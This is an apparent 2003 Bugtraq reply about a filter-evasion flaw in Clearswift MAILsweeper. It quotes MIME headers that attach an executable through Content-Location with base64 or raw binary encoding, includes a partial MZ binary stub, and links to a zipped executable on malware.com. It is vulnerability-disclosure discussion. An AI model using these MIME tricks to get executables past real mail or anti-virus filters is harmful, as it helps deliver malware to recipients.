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Re: Corsaire Security Advisory - Clearswift MAILsweeper MIME attachme nt evasion issue

daemon@ATHENA.MIT.EDU (http-equiv@excite.com)
Tue Mar 11 17:11:39 2003

Message-Id: <200303111947.h2BJlRU27759@web182.megawebservers.com>
To: <bugtraq@securityfocus.com>
Date: Tue, 11 Mar 2003 19:47:27 -0000
From: "http-equiv@excite.com" <http-equiv@malware.com>
Reply-To: http-equiv@malware.com



<!-- 

Step 2: Now create a text file that will be used to hold the MIME 
encoded attachment. Start notepad (or another text editor), and 
paste 
in: 


     MIME-Version: 1.0 
     Content-Location:file:///executable.exe 
     Content-Transfer-Encoding: base64 


     TVp0AQIAAAAgAAgA//8YAIAAAAAQAAIAHgAAAAEAAAAAA 
     AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
 -->

That's a very interesting situation with content filters and anti-
virus filters. How many others are affected one must wonder.

Try the following as well, nothing more than pure binary:

http://www.malware.com/bin.exe.zip

MIME-Version: 1.0
Content-Location:File://foo.exe
Content-Transfer-Encoding: binary

MZD
    ! ÿÿu    ™   >   
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ž                                                                    
 
                                             


Lot more where that came from.

End Call

-- 
http://www.malware.com

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